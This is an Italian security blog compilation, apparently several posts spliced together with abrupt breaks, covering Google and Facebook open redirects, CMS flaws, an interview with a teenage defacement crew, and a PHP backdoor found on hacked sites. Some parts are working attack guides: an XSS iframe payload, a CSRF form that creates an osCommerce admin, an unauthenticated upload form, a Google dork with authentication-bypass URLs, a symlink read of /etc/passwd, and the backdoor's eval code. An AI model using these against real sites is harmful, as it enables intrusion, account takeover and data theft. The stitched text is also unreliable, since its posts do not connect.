Recentemente sono state individuate alcune vulnerabilità tra le pagine dei Servizi di Google e FaceBook. Sono falle di tipo Open Redirect che permettono di effettuare un redirect senza necessità di manipolare stringhe o eseguire azioni particolari.

Open, infatti, sta ad indicare che il sito affetto da tale falla non effettua alcun controllo sull’input ed esegue il codice per cui è programmato sempre e comunque. Il vantaggio di poter sfruttare vulnerabilità come questa è quello di poter utilizzare url di domini di cui la gente non mette in dubbio la provenienza (Google appunto) per farli cliccare e redirettarli a siti di phishing o similari.

Immaginate l’utente medio che riceve un’email clone di Google che gli indica di cliccare  un  url del dominio “google.com” ed inserire i suoi dati per via di un qualche motivo plausibile. Quanti penserebbero che quell’url nasconda una minaccia?

In questo caso l’url affetto da tale vulnerabilità è appartenente al Servizio Google Accounts ed è il seguente:

https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.sitomalevolo.com

Allo stato attuale la falla è già stata risolta e provando un redirect verso capn3m0.org si ottiene un errore di “Bad Request”:

https://accounts.google.com/o/oauth2/auth?redirect_uri=www.capn3m0.org

Questa vulnerabilità è stata individuata da Ucha Gobejishvili aka longrifle0x che vanta solo nell’ultima settimana una serie di XSS in siti degni di nota: Google, Apple, Sony Ericcsson.

Sempre longrifle0x ha individuato una vulnerabilità XSS alla pagina delle Google App for Business. Per verificare la vulnerabilità è necessario andare all’url:

https://www.google.com/a/cpanel/premier/new3?hl=en

ed inserire nel campo “Domain” questo codice:

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

Qui il suo “curriculum”!

La seconda vulnerabilità, individuata da ZeRtOx del gruppo Devitel, riguarda FaceBook ed è sempre di tipo Open Redirect. Il codice è il seguente:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.sitomalevolo.com

e attualmente è ancora presente come dimostra il link che rediretta a capn3m0.org:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.capn3m0.org

Infine segnalo una terza vulnerabilità Open Redirect sempre per i Servizi di Google: Ad Services. I banner di Adsense sono associati ad un url fatto nel seguente modo:

http://www.googleadservices.com/pagead/aclk?
sa=L
&ai=BCN0tjMAhT9ijEq2Q0QXP1tm2BKGTn-sB4e7Th0fAjbcB8IQOEAEYASCZ0NoLOABQg7et0Pn_____AWD98vyD3BCgAYfM69oDsgEPd3d3LmNhcG4zbTAub3JnugEKMzM2eDI4MF9hc8gBBNoBUWh0dHA6Ly93d3cuY2FwbjNtMC5vcmcvZmlsZXNoYXJpbmctcG9zdC1tZWdhdXBsb2FkLWNoaXVzaS1maWxlc29uaWMtdXBsb2FkZWQuaHRtbIACAbgCGMgC4afaFKgDAfUDAAAgwPUDAAAAEIgGAaAGBA
&num=1
&cid=5GhoQFqmzEdFESSc_Vjf5Gxi
&sig=AOD64_2aoaqhlTxnKAENG806XtTTXpAjFw
&client=ca-pub-XXXXXXXXXXXXXXXX
&adurl=http://www.sitomalevolo.com

I parametri che riceve in input devono essere tutti corretti ad eccezione del campo adurl che invece viene valorizzato con il link verso cui vogliamo che rediretti.

Come potete immaginare trovare un link con tutti i dati corretti è molto semplice. Basta navigare tra i siti che mostrano banner di Google AdSense e copiarsi il link.

Quest’ultima falla l’ho trovata ispirato dalle due precedenti mentre scrivevo l’articolo. Se conoscete chi ne ha parlato prima di me segnalatemelo che provvederò a mettere l’autore.

Come immagine ho scelto la locandina del famoso film Hackers del 1995 che vede come protagonisti una crew di giovani ragazzi che un po’ per divertimento un po’ per passione portarono a termine attacchi di grande portata scombussolando una città e finendo nel mirino dell’Fbi. Il film, come si sa, è finzione, ma è stato di ispirazione per molti ragazzini che come me sognavano di diventare hacker o qualcosa del genere.

Il motto del film era:

their only crime was curiosity

(il loro unico crimine era la curiosità)

Conoscendo un po’ meglio i ragazzi del pr0_alpha_team mi è tornato alla mente e vediamo perché.

D #1: – Come nasce il pr0_alpha_team? E’ stata più una cosa tra amici tipo “vediamo fin dove riusciamo ad arrivare” o strutturata e organizzata?

L’Alpha_Team nasce come un gruppo di ragazzi (amici virtuali) , che sfida le infrastrutture che al giorno d’oggi dovrebbero essere le più sicure, cercando di far notare ai cari Italiani quanto siano vulnerabili i loro sistemi e come dati privati possano finire nelle mani di gente qualunque.

D #2 - Il nome pr0_alpha_team da dove proviene? Siete una versione “alpha” quindi ancora non ufficiale? cosa dobbiamo aspettarci?

Allora il nome Alpha_Team deriva dalla poca fantasia che avevamo quando ci siamo registrati su Zone-H, cosa dovreste aspettarvi? beh spero per noi che potremmo ancora divertirci nel cercare vulnerabilità

D #3 -  Guardando il vostro profilo su Zone-H si ha notizia di voi a partire da Novembre. Siete una crew “emergente” o operate da tempo ma solo ora volete rendere note le vostre azioni?

In precedenza abbiamo operato come singoli , ma poi un giorno abbiamo deciso di unirci e diventare l’Alpha_Team e rendere note le nostre azioni.

D #4 – Il vostro background? Siete “ethical hacker” anche come lavoro?

Siamo tutti studenti delle superiori ma in futuro vorremo sicuramente lavorare in quel campo, non ci definiamo hacker, ma solo appassionati informatici.

D #5 – Indipendenti o parte di un progetto più grande?

Siamo un gruppetto indipendente.

D #6 – Perché siti istituzionali? Quale messaggio volete mandare?

Attacchiamo siti importanti sia per divertimento sia per far capire ai nostri cari webmaster come sia facile sfruttare le loro mancanze. Per esempio nell’attacco alla Banca delle Marche volevamo far capire ai webmaster come sia stato facile per noi reperire informazioni sensibili.

D #7 – Fino ad ora le vittime illustri sono state violate con attacchi Sql Injection. E’ la tecnica che preferite o è quella a cui, come si è visto, erano vulnerabili tutte le vittime?

Perché in quei siti abbiamo trovato quel tipo di vulnerabilità.

D #8 – Il silenzio della stampa. I giornali latitano sempre quando l’attacco non è firmato Anonymous che “fa audience”. Cosa ne pensate di questa dis-informazione?

Pensiamo che al giorno d’oggi non ci sia dis-informazione ma solo poca voglia di reperire informazioni da utenti che utilizzano internet. Tutti dovrebbero sapere che rischi corrono navigando su internet.

D #9 – Il termine hacker ancora oggi viene usato in maniera errata e non si fanno mai distinzioni tra ethical, white hat, black hat, etc.. Voi come vi definite?

Siamo solo ragazzi appassionati di informatica.

D #10 – Il sito di una Banca, il sito dello store della Difesa… le vostre azioni hanno messo ancora una volta in rilievo le carenze tecniche in merito alla sicurezza informatica. In Italia spendere soldi per prevenire appare ancora una “cattiva abitudine” (purtroppo). Le vostre vittime se informate della violazione come han reagito? Le falle poi vengono sistemate?

Reagirebbero malissimo. Come possiamo vedere nel sistema bancario delle Marche ci troviamo di fronte ad un C.M.S. a pagamento, e credo che non lo abbiano pagato poco. No, le falle ad oggi sono come prima.

Concludendo questa intervista ne emerge ancora una volta la scarsa attenzione dedicata alla sicurezza informatica, dei nostri dati e delle infrastrutture che il nostro Paese presta ai suoi servizi più importanti o critici. Questi ragazzi, come ho premesso citando il film “Hackers“, sono solo appassionati e curiosi. I mezzi e le competenze li hanno e stanno dimostrando come uniti si possono raggiungere obiettivi importanti come il sito di una Banca o dell’Esercito. Non sono legati a nessun gruppo “famoso” e pertanto del pr0_alpha_team sono in pochi a parlare ma, come loro stessi hanno affermato, vogliono rendere note le loro azioni.

Sul tema della disinformazione fanno un’osservazione corretta dicendo che ai giorni d’oggi con internet a disposizione di chiunque è difficile pensare che la gente sia male o per niente informata. Almeno i giornalisti pagati per “informare” potrebbero provare a fare quello sforzo in più che noi non sempre abbiamo tempo o modo di fare.

Riguardo infine l’attacco al sito della Banca delle Marche (bancadellemarche.it) ci fanno sapere che nonostante i soldi spesi per un CMS risultato vulnerabile (può capitare eh, nessuno mette in dubbio che ci possano essere bug) non è stata ancora sistemata la falla. Sono queste le notizie che tra le tutte dovrebbero far riflettere. Possibile che una Banca dopo aver riscontrato delle violazioni nei propri dati non ne faccia notizia e neanche rimedia in tempi brevi?

Errare è umano, ma perseverare è diabolico..

Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente “stabili” sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo Xss, Full Path Disclosure, Local File Inclusion e XSRF.

La Full Path Disclosure consiste nell’interrogare alcuni file del Template di OsCommerce che, andando in errore, mostrano a video la full path della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La XSS permette di iniettare codice JavaScript sfruttando una falla del file “products.php” mentre la Local File Inclusion consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.

Anche in questo caso c’è una falla più grave delle altre e a mio avviso è la XSRF che permette di inviare comandi all’applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico sarà possibile creare un nuovo Admin sull’OsCommerce.

Basterà creare una pagina “.html” contenente il seguente codice:

<html>
<body>
<form action="http://<sito vittima>/admin/index.php?administrators&action=save" method="post">
<input type="text" name="user_name" value="<nomeutente>">
<input type="text" name="user_password" value="<password>">
<input type="text" name="modules[]" value="0?>
<input type="hidden" name="subaction" value="confirm"/>
<input type="submit" value="Save">
</form>
</body>
</html>

Ovviamente dovrete sostituire i seguenti parametri:

<sito vittima> con il dominio del sito in cui si vuole creare l’account

<nomeutente> con il nome utente del nuovo Admin

<password> con la password da associare al nuovo Admin

Una volta creata la pagina richiamatela dal vostro Browser e cliccate su “Save”.

Se tutto è andato a buon fine accedendo all’url:

http://<sito vittima>/admin/

potrete loggarvi come Admin con i dati appena inseriti.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

osCommerce v3.0a5 [ Multiple Vulnerabilities ]

La versione vulnerabile è l’ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload.

La vulnerabilità Full Path Disclosure permette, se la gestione degli errori è configurata per mostrarli a video, di conoscere la path assoluta dell’applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l’informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due XSS, invece, non affliggono l’attuale 1.3.9h ma tutte le versioni precedenti. Le vulnerabilità sono localizzate nel campo “Quantità” del carrello che permette l‘injection di codice XSS e nell’Area Amministrativa “Location/Taxes”. Per quest’ultima, quindi, si presume che si abbia già l’accesso Admin.

L’ultima vulnerabilità, la più grave, riguarda invece il componente Banner (banner_manager.php) che, così come per OsCommerce, permette di effettuare l’upload di files che verranno salvati nella cartella “images”.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: la 2.3.1 e la nuova 3.0.1. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.

Lo scorso 14 Maggio, però, è stata scoperta una nuova falla (purtoppo molto simile alla precedente) che permette l’upload di files nella cartella “/images” senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.

Come riportato qui il componente Banner (banner_manager.php) della nuova versione 2.3.1 di OsCommerce soffre di una vulnerabilità che consente di uploadare files sul sito “vittima” semplicemente creando sul proprio PC una pagina html con il seguente codice:

<form name=”new_banner” action=”http://site/path/admin/banner_manager.php/login.php?action=insert” method=”post” enctype=”multipart/form-data”><br>
<input type=”file” name=”banners_image”><br>
<input name=”submit” value=” Save ” type=”submit”></form>

Basterà sostituire a “site/path” il dominio e l’eventuale sottocartella del sito basato su questo Cms e salvare il file in formato “.html”.

Apritelo con il vostro Browser e vi troverete davanti un form di upload file.

Scegliete il vostro file e fate l’upload; una volta terminata l’operazione potrete interrogare il file richiamando l’url nel seguente modo:

http://site/path/images/<fileinviato.php>

Analizzando alcuni casi di utilizzo di questa vulnerabilità ho riscontrato casi di iniezione di virus/malware come già riscontrato sempre nel 2009.

Non appena avrò maggiori informazioni provvederò a tenervi aggiornati.

Per Joomla, che attualmente sta portando avanti le due famiglie 1.5.x e 1.6.x sono state rilasciate le versioni 1.5.23 e 1.6.3 (c’è stata anche una 1.6.2 che ha avuto una vita molto breve).

La 1.5.23 è una security release in quanto una vulnerabilità nelle precedenti versioni permetteva di generare un errore che printava a video la path assoluta del sito (Information Disclosure). Era una informazione in più in mano all’eventuale hacker ma nulla di realmente pericoloso.

Joomla 1.5.23

Le versione 1.6.3, invece, è una bug fix che risolve alcuni problemi emersi con questa nuova versione.

Al link sottostante potrete trovare maggiori informazioni e consultando il Changelog potrete leggere tutte le modifiche/correzioni che sono state apportate.

Joomla 1.6.3

Per quanto riguarda WordPress, invece, sono state rilasciate a distanza di pochi giorni le versioni 3.1.1 e, l’ultima, la 3.1.2 che corregge una vulnerabilità (security release) che permetteva agli utenti “Contributor” di postare bypassando la fase di revisione obbligatoria da parte dell’Admin.

WordPress 3.1.2

Si consiglia a tutti di effettuare gli upgrade dei propri Cms e, soprattutto, di monitorare costantemente la pubblicazione di nuove release, soprattutto quando si tratta di security release

Read the original:
Microsoft, patch day da record

Source: Webnews

Read the original here:
Servizio delle Iene sulla Sicurezza Informatica di un Provider Italiano

Andiamo per ordine, circa una settimana fa il colosso di MountView comunica l’individuazione di violazioni nella loro infrastruttura informatica mirati verso alcuni indirizzi email. In un primo momento hanno pensato che si trattasse di “normale amministrazione”, in fin dei conti una grande azienda come Google di violazioni o tentativi ne riceve quotidianamente. Indagando accuratamente, però, è emerso che il mittente di questi attacchi fosse il Governo Cinese e le vittime, invece, fossero alcuni esponenti per i diritti umani oltre ad una ventina di grandi aziende di vari settori: finanziario, chimico, comunicazione, etc.porpo

Constatando la gravità dell’accaduto hanno chiesto spiegazioni alla Cina che però fa orecchie da mercante e proprio negli ultimi giorni ha risposto sostenendo di non avere nulla a che fare con questi cyberattacchi. Google, calcolando che nel 2006 quando aprì in Cina dovette compiacere il Governo Cinese applicando la censura al suo Motore di Ricerca, non ha gradito questa risposta e in nome dei diritti umanitari e della democrazia ha ribattuto minacciando di chiudere i battenti in quella nazione. Nell’annuncio ufficiale dal loro Blog chiariscono che la decisione (che sembrebbe essere già stata presa) non è stata decisa né ancora comunicata ai dipendenti di Google.cn. Questo uno stralcio della comunicazione:

La decisione di riconsiderare la nostra attività in Cina è stata incredibilmente difficile e sappiamo che potrebbe avere conseguenze molto serie. Teniamo a specificare che la decisione è stata presa dalla dirigenza di Google negli Stati Uniti, senza che i nostri dipendenti in Cina ne fossero a conoscenza o fossero coinvolti nella decisione. A loro va il nostro riconoscimento per aver lavorato con grande dedizione al successo di Google.cn

In alternativa alla chiusura proporranno/chiederanno alla Cina di poter impostare il loro Motore di Ricerca come nel resto del mondo quindi libero da censure di ogni sorta. Nel frattempo si sono movimentati gruppi e tra i nomi attivi in questa campagna a favore della libertà di Internet per la Cina abbiamo Hilary Clinton che dal Museo dell’Informazione di Washington ha lanciato la nuova politica estera basata sulla libertà di internet. Anche Obama ha espresso la sua preoccupazione circa questa situazione e, come riportato dal suo portavoce:

Il presidente «continua ad essere turbato dalla falla nella cyber sicurezza che Google attribuisce alla Cina… Stiamo aspettando delle risposte dalla Cina». Burton ha aggiunto che Obama ritiene che i responsabili dovrebbero «affrontare le conseguenze» dei loro atti.

Nell’attesa di ulteriori sviluppi su questa vicenda negli stessi giorni se ne è sviluppata una seconda. Infatti alcuni esperti di sicurezza analizzando le violazioni subite da Google hanno comunicato che tali attacchi sono stati possibili a causa di una grave vulnerabilità presente in alcune versioni di Internet Explorer.

Secondo l’Ufficio Federale responsabile per la sicurezza informatica Tedesco (BSI) la vulnerabilità affligge tutte le versioni di Internet Explorer dalla 6 alla più recente 8 presente negli ultimi Windows Vista e Windows Seven. Microsoft Italia risponde sottolineando che la falla è grave solo nella versione Internet Explorer 6 con piattaforma Windows Xp mentre in tutti i nuovi sistemi operativi e browser, grazie alle funzionalità di sicurezza che sono state implementate, il problema risulta di gravità inferiore.

Internet Explorer – Feliciano Intini e Luca Colombo from MClips on Vimeo.

Tale problematica ha portato ad alcune eclatanti affermazioni come lo stesso BSI che ha invitato gli utenti tedeschi a non utilizzare Internet Explorer ed utilizzare browser alternativi a cui ha fatto eco la Francia con il CERTA che invitava gli utenti degli Enti pubblici e non utilizzare questo browser.

Nonostante quanto detto comprendendo l’agitazione tra i suoi utenti Microsoft ha fatto uscire una patch straordinaria dove risolve il problema indicato sottolineando ancora una volta che gli utenti delle più recenti versioni del Browser non devono (e non dovevano) preoccuparsi poiché le funzionalità di Data Execution Prevention e di Protected Mode rendevano il rischio inesistente.

Da notare come nell’ultime Microsoft Security Bulletin di Gennaio ci sia citata Google tra i ringraziamenti ed in particolare Tavis Ormandy, scopritore della falla che recentemente ha segnalato una vulnerabilità di code injection in tutti i Sistemi Microsoft 32 bit dal 1993 ad oggi. In questo articolo potete leggere nel dettaglio la falla da lui individuata.

Speriamo che da queste vicende sempre più utenti si avvicinino e comprendano i pericoli della sicurezza informatica provvedendo a proteggere i propri Pc mantenendoli costantemente aggiornati e controllati.

Di fatto questa vulnerabilità da la possibilità di leggere aree/file del WebServer non autorizzate quali il file “/etc/passwd” e similari.

L’applicazione pratica e più semplice di tale vulnerabilità è il seguente codice:

< ?php
 symlink("/etc/passwd", "prova.txt");
 ?>

Se il “safe_mode” del Php era disabilitato nel proprio spazio sarebbe stato creato un link simbolico dal nome “prova.txt” che puntava al contenuto di “/etc/passwd”. In questo modo richiamando dal browser il link simbolico nel seguente modo:

http://<dominio>/prova.txt

avremmo visualizzato a video il contenuto del file “/etc/passwd”. A seconda dell’Hosting questo file può contenere anche le password dell’account web del Cliente e pertanto la gravità della vulnerabilità è elevata.

Nel caso, invece, il safe_mode del Php fosse stato attivo sarebbe stato visualizzato un messaggio di errore che indicava l’impossibilità di eseguire l’operazione a causa della mancanza dei permessi di accesso al file “/etc/passwd”.

Ho provato ad applicare questa tecnica su diversi Hosting dove ho sitarelli o spazi per fare dei test e in base ad alcune configurazioni di sicurezza (privilegi, followsymlink,etc.) si poteva o meno accedere a dati sensibili come, per esempio, visualizzare i file di configurazione di altri domini presenti sullo stesso server dove siamo noi.

Questa vulnerabilità del Php ha fatto nascere alcune discussioni legate ai vari attacchi di massa che si sono verificati lo scorso anno su vari Hosting condivisi noti e meno noti. Dal mio punto di vista è plausibile pensare, quindi, che questa falla abbia dato la possibilità di accedere e violare centinaia di spazi Web rubando informazioni preziose per eventuali ulteriori attacchi.

Link correlati:

Exploit

PHP 5.2.12/5.3.1 symlink() open_basedir bypass – SecurityReason.com

Symlink Attack – HTML.it

Questa volta si tratta di una Remote Command Execution che sfruttando una vulnerabilità dell’utilizzatissimo TinyMCE permette di uploadare file che, teoricamente, dovrebbero essere proibiti. La vulnerabilità è stata scoperta dall’italiano Luca “daath” De Fulgentis che ha illustrato nel dettaglio l‘exploit nel suo blog.

Dal sito di Offensive-Security, che andrà a sostituire il noto Milw0rm, ormai chiuso, è possibile scaricare l’exploit Php che consente di uploadare qualsiasi tipo di file semplicemente eseguend l’exploit php dalla propria shell.

Come detto in precedenza l’hack sfrutta una vulnerabilità del TinyMCE. Questo editor utilizza un array dove vengono dichiarate le estensioni dei file che non possono essere uploadate ma modificando opportunamente gli Header HTTP è possibile uploadare un file con un’estensione accettata e successivamente far effettuare il rename del file allo stesso TinyMCE.

Ovviamente vi è un sistema di “sicurezza” nello script dell’editor ma, purtroppo, si tratta di una semplice verifica di un hash MD5 generato dalla concatenazione della path assoluta con una variabile chiamata “$tinybrowser['obfuscate']” che è settata di default a “s0merand0mjunk!!!111″ nel file “config_tinybrowser.php” che trovate al seguente percorso:

http://<path_joomla>/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/config_tinybrowser.php

Questo invece il sistema di “sicurezza” (o meglio, la vulnerabilità) del file “upload_file.php” che verifica l’Hash MD5:

L’exploit creato da daath una volta indicato il “sito vittima” per prima cosa provvede a bypassare questo meccanismo effettuando un Path Disclosure. Con questa tecnica si interroga un file in modo non corretto così da far mostrare a video un tipico errore PHP che riporta la path assoluta del file in errore. Una volta ottenuta questa informazione si potrà ricreare l’Hash MD5 (path assoluta + ‘s0merand0mjunk!!!111′) tramite il quale poter lanciare una POST Http per l’upload del file. Il file, ovviamente, dovrà avere un’estensione valida come, ad esempio, “.jpg”.

Una volta effettuato l’upload si effettua una seconda interrogazione Http inviando i dati necessari a far eseguire il rename del file da “.jpg” (o qualunque estensione è stata scelta) a “.php”.

A questo punto si avrà una shell sul sito e si potra effettuare qualsiasi azione sia consentita all’utente web del sito vittima.

Come detto all’inzio dell’articolo provvedete sempre ad aggiornare alle ultime release le vostre applicazioni web!

Come potrete verificare personalmente tramite questo Proof Of Concept basterà richiamare l’url dell’Area Admin con una particolare sintassi e il gioco è fatto e si potranno visionare gli ordini, i clienti, le email.

Già verso agosto fu scoperta una grave falla nel meccanismo di autenticazione che consentiva, tramite opportune interrogazioni HTTP (http request) di eseguire comandi lato server e, sfruttando alcuni file dell’osCommerce stesso,  di uploadare file, shell etc.

Per maggiori informazioni circa questa vulnerabilità andate a questo link.

Per quanto riguarda la falla di cui vi parlo oggi vi illustro di seguito come sfruttarla e quali informazioni si possono ottenere. Per prima cosa è necessario trovare un “sito vittima“  e per fare questo ci viene incontro, ancora una volta, Google!

Cercate su Google la seguente stringa:

“Powered by OsCommerce”

(compresa di virgolette)

In questo modo il Motore di Ricerca ci mostrerà solo i siti che contengono esattamente quella frase e, quindi, con molta probabilità siti basati su OsCommerce.

A questo punto aprite qualche sito e verificate se richiamando l’area “admin” vi viene mostrata correttamente la pagina di login.

L’area admin di default è raggiungibile al seguente url:

http://<dominio_con_oscommerce>/admin

Se l’Admin non ha cambiato il nome della cartella vi apparirà una schermata simile a questa.

A questo punto si sfrutterà la vulnerabilità nell’autenticazione per bypassarla semplicemente digitando i seguenti url:

/admin/orders.php/login.php
/admin/mail.php/login.php
/admin/mail.php/login.php?fooled
/admin/mail.php/login.php?action=send_email_to_user

Cosa succede richiamando questi url? (a voi scoprirlo!)

Si accederà in visualizzazione alle funzionalità di quei file e quindi, nell’esempio citato sopra, si potranno leggere gli ordini e vedere i clienti con le relative email.

Questo articolo è solamente un Proof Of Concept e pertanto non deve portare ad alcuna azione malevola.

Per chi utilizza OsCommerce consiglio o di valutare il passaggio a tutt’altro applicativo, visto anche che il progetto è ormai fermo, oppure di andare sul Forum di OsCommerce dove suggeriscono una semplice ma efficace (?) fix al problema.

Link correlati:

OS Commerce authentication bypass by Stuart Udall

Post dal Forum di OsCommerce

La notizia non era molto dettagliata poiché la vulnerabilità era stata annunciata molto genericamente come una vulnerabilità che permetteva di “aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache”. Ora che è stata patchata, come spesso accade, iniziano a trovarsi maggiori informazioni e Proof of Concept.

In realtà la vulnerabilità permette di uploadare file bypassando il controllo della tipologia di file e permettendo, quindi, di uploadare script php e similari che possono poi essere richiamati da colui che attacca. Affligge tutte le versioni inferiori alla 2.8.5 (compresa) perciò provvedete quanto prima ad aggiornare il vostro blog.

La notizia era stata pubblicata l’11 Novembre scorso nella nota Mailing List Full Disclosure dove Dawid Golunski ha pubblicato un Proof Of Concept che potete leggere a questo link. Praticamente spiega che la verifica del file uploadato avviene confrontando l’estensione del file, estrapolata tramite una Regular Expression, con un array dei Mime Type permessi.

La Regular Expression, però, unita al fatto che i WebServer Apache (solamente in una particolare configurazione spiegata qui) consentono di creare file nel formato

filename.ext1.ext2

può essere bypassata uploadando un file contenente codice Php e assegnandogli un nome come il seguente:

phpinfo.php.jpg

In questo modo la verifica del file applicata da WordPress estrapolerebbe tramite la RegEx l’estensione “.jpg” e successivamente, verificandola con l’Array dei Mime Types ammessi, permetterebbe al file di essere uploadato scambiandolo per un’immagine.

Una volta fatto ciò chi attacca potrà richiamare lo script digitando la path standard dei file uploadati di WordPress ossia:

http:///wp-content/uploads/2009//phpinfo.php.jpg

Questa vulnerabilità, sebbene grave, non dovrebbe causare gravi danni visto che chi attaca deve essere un membro dello staff con privilegi di pubblicazione come era stato annunciato in occasione della 2.8.6.

Resta invece ancora sconosciuta la vulnerabilità di Cross Site Scripting scoperta da Benjamin Flesch sempre nella versione 2.8.5 di WordPress.

Eccovi alcuni link correlati:

Proof Of Concepts – WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution by Dawid Golunski

Vupen – WordPress Arbitrary File Upload and Cross Site Scripting Vulnerabilities

SecurityFocus – WordPress Unspecified Cross Site Scripting Vulnerability

La prima è una vulnerabilità del componente “Press This” (Pubblicalo in italiano) scoperta da Benjamin Flesch che permetteva di eseguire XSS (Cross Site Scripting) agli utenti registrati con privilegi di pubblicazione.

La seconda, invece, è stata scoperta da Dawid Golunski e consentiva di aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache.

In attesa della versione WordPress 2.9 consiglio a tutti di provvedere ad aggiornare la propria versione tramite la funzione di “Aggiornamento Automatico” che verrà suggerita non appena entrerete nella vostra Bacheca.

Il 9 febbraio scorso nel post titolato “18446744073709551615 – Un nuovo hack in arrivo?” avevo descritto un hacking che stava avvenendo in centinaia di siti di hosting italiani e stranieri che non aveva un apparente denominatore comune.

Infatti all’epoca non si spiegava se venivano sfruttate vulnerabilità dell’applicativo in uso sul proprio dominio (in Rete in questi ultimi giorni c’è un gran parlare sulla possibilità che sia WordPress la causa) o se si trattasse di uno stealing di account ma alla luce di quanto analizzato a febbraio e quanto analizzato in questi giorni vi sono in rete diverse “testimonianze” di siti hackerati che con molta probabilità non hanno vulnerabilità in quanto basati su semplici pagine html statiche.

Alcune “vittime” mi han contattato privatamente e mi hanno fornito informazioni per poter delineare meglio questo hack.

Ricordo a chi legge questo Blog per la prima volta che nel post precedente chiamato volutamente “Un nuovo hack in arrivo?” segnalavo come le azioni di febbraio apparivano più come un “giro di test” che come un’azione a fini malevoli quale è, invece, in questi giorni. A febbraio numerosi siti subirono un hack atipico poiché i siti vittima non venivano alterati o infettati da virus/trojan ma, semplicemente, mostravano il numero “18446744073709551615” a pié di pagina e nel codice si poteva individuare la dichiarazione di una funzione dal nome “ob_start(“security_update”)“. Questo, dal mio punto di vista, poteva essere interpretato come un marcatore tramite il quale chi attacca può farsi un’idea di quanti potenziali vittime potrebbe colpire.

I plugins di cui parlerò sono i seguenti:

• Web Developer Bar
• Xss Me
• Sql Inject Me
• HackBar
• Tamper Data

Questi 5 plugin torneranno molto utili quando proveremo ad effettuare le nostre prime analisi di sicurezza in quanto permettono di analizzare diversi aspetti di un sito web. Va detto che non sono programmi  “per bucare” ma semplicemente dei test i cui risultati, se si hanno le giuste conoscenze, possono aiutare ad individuare falle o vulnerabilità in un dato sito.

Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all’interno di un campo BIGINT in Php. Questo porterà l’ignaro utente ad impazzire alla ricerca della funzione all’interno del proprio sito che esegue calcoli che portano alla comparsa di questo numero. Tutto ciò sarà inutile!

In realtà questo numero viene visualizzato poiché le pagine “index.php” del proprio sito sono state hackerate inserendo al loro interno la seguente funzione che non altera il comportamento della pagina ma visualizza a pié di pagina il numero in oggetto.

La pagina modificata apparirà con il seguente codice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 
<--- CODICE ORIGINALE DELLA PAGINA --->
 
?>
                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Come potete vedere analizzando il codice la funzione “security_update” non fa altro che inserire tutto l’output originale della propria pagina in un buffer e successivamente accodare al buffer il valore “18446744073709551615“.

La domanda che sorge è: perché?

Sebbene stia tenendo d’occhio l’evolversi di questo hack non si è ancora individuato il motivo di tale azione. L’ipotesi che al momento appare essere la più veritiera è che venga utilizzato questo codice come “marcatore” dei siti “infetti” così da poterli facilmente trovare in una eventuale ricerca in rete.

In questo modo chi sta effettuando tali hack potrà individuare le proprie vittime e i siti per i quali conosce la falla di sicurezza che ha consentito di scrivere, per ora, il numero “18446744073709551615“.

Vedendo l’andamento delle ultime settimane ho assistito ad un’evoluzione dello script in quanto è stata aggiunta una nuova riga che potrebbe essere realmente dannosa per le vittime. Questo il codice nella sua nuova versione:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>< ?php

Questo script ha in più un check su un cookie che, se verificato ($_COOKIE['73043475c0893e30'])==”59fdd20854f4a2056c082cab53e64860″), esegue una decodifica di un file criptato inviato via POST.

In questo modo l’hacker ha la possibilità di inviare file a tutti i domini che precedentemente aveva infettato e “marcato”.

Per ora non ho assistito ad azioni concrete che hanno sfruttato questa funzione “security_update()” ma, ovviamente, è naturale pensare che lo script e le sue evoluzioni siano vari step di un’azione mirata a raccogliere centinaia di siti infetti per effettuare in seguito un attacco di massa.

Come eliminarlo?

Per eliminarlo basta individuare tutte le pagine che mostrano il numero “18446744073709551615” e ripulirle dal codice di questo hack mostrato in precedenza.

Anche in questo caso il programma “PoweGrep” ci torna comodo permettendoci di effettuare una ricerca della stringa “18446744073709551615” su tutti i file del proprio sito (in locale).

Una volta individuate la pagine vanno rimosse queste righe dalla parte superiore della pagina:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
